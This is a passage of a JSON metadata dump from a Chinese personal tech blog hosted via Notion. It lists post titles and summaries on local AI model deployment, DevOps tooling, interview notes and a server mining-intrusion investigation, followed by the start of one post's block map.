dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"e8fd9138-663d-415d-9684-24343fb3248f":{"value":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","version":842,"type":"page","content":["bc73e0a0-0940-4595-9732-ab9c28cd26a7","ba4103b9-8a3f-4c44-bda8-47b3722d4e15","e8405e22-2319-4ec0-93b3-5a799df21fc4","7dfa62e3-08fb-4a0d-af59-773b0f9f56dc","2aa083b8-0726-4e50-bd4d-f857b5dd0316","45149c38-559d-414b-830f-c06c20da7dec","281bb727-bba8-4f6e-a1ff-b55b6f76b39c","b64c746d-9c8c-458e-9292-2e365dea363b","1b0d3b8d-c1f0-4ca3-907c-1e34341d376b","db1102e6-f111-45af-96a4-db331284b95b","78995c5e-a842-4a30-b1a9-3a93f7b37307","5ea402bc-1e80-4e35-9b33-43c347bda5e7","90137cb7-47e4-42a8-bd95-3be130d612a0","5ed02535-d8e3-46f5-8efb-5e68003b6fec","426b70c6-f0fe-4849-b277-b986cc09a3eb","24e1ffff-e99e-4a8e-b080-f3948a289de8","0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","d52f61a6-9530-45cf-8e55-5822170d7448","5efbbd51-23a0-4cc2-b034-3da0b79430f7","3fee6369-f3e1-4e3e-b833-b1f24a8acf97","d47a618f-cf90-4bc4-9557-6424452366d4","3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","74300add-803e-4d7c-8304-a821a5d5ab2c","8976a6ea-02cb-4bf3-a518-053203e7e9c1","f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","eb3dc7f4-4bfd-454f-b935-cde5ab908c41","c713c08c-2d0b-4eb1-8817-71fec58212ef","bbe523e1-53a1-45de-af58-03a940f59e85","4bcc27a3-8629-411b-be7a-75aea797e1ed","9a6f7759-0331-4d60-95e2-dc10c6cb87bd","da1b112d-857e-4b6f-bf49-b7f5208b24e4","87c6e6a2-d2e3-4a18-8637-efe4abd4560f","2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","9a7a6897-3dfa-4aa8-9636-234b3c0b6548","58fecf87-6dcf-43db-a9c7-538f413796f7","68f363f2-b183-4280-9abb-eab957c3db38","412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","7e5fed0f-7e6c-4eb0-957b-af7e801e764e","f8a5c31e-aaeb-4215-bece-5545539ec80b","e2239195-971a-4985-8fac-5b9ea90996c0","44061d98-d405-487a-b2a4-078279d3d999","702ec273-b848-45ae-9fab-0e7e445b8470","e8a8f505-3549-4ded-a263-991f5462efb2","42700ae9-2627-40a2-9d1d-f9ed715ab0dc","a28dd66e-5a77-4dfe-815b-474c1e36c0fb","c48d0617-98e9-4c69-8225-a3fc30c3d5b4","97118fdd-3e4d-4a05-8d1f-d4a942831683","29619cb8-1036-4c56-ad1d-44078669c26b","9b400751-4342-4a08-b4a4-df5993d548f1","36ff61ac-481c-4f1f-9f17-6966b6e9789e","aac21867-aa33-4037-93e3-03b5f0ca84f9","2834c258-d3b3-48ce-9e95-8a21b18053f8","6e0e38e9-7774-4f49-9fbb-67e52a21593d","61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","926cfd3e-8b8e-4b25-b780-3aedf4064879","9d06ce11-437e-4aef-8661-c6551d358cf5","eecdbd14-19a7-4050-ab78-a5c5044e1336","202e55b5-762e-4ef1-90b0-2cc0ae26a99b","995338cf-4874-48b5-a462-ea834bd6b31b","bd7b81b2-82bd-4a81-950c-37ebef55f856","009e62c7-e513-4e3e-a0bb-731c95f0d22a","8b44dcb2-d944-4983-9c68-ff1d8e23825b","f9d3a393-9d76-4add-88b5-3f03e58614af","440e5ba9-2309-4223-9df2-50ca1b67e237","04273a50-0752-4c70-a1c5-d63b004d565a","58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","e1da917b-bb71-4252-9f5f-d1c997b18551","9e9a91b1-4853-4e82-be32-ac8af17739b0","189b1da9-975a-42da-a706-02494cb76d01"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711360737075,"last_edited_time":1711432140447,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"bc73e0a0-0940-4595-9732-ab9c28cd26a7":{"value":{"id":"bc73e0a0-0940-4595-9732-ab9c28cd26a7","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_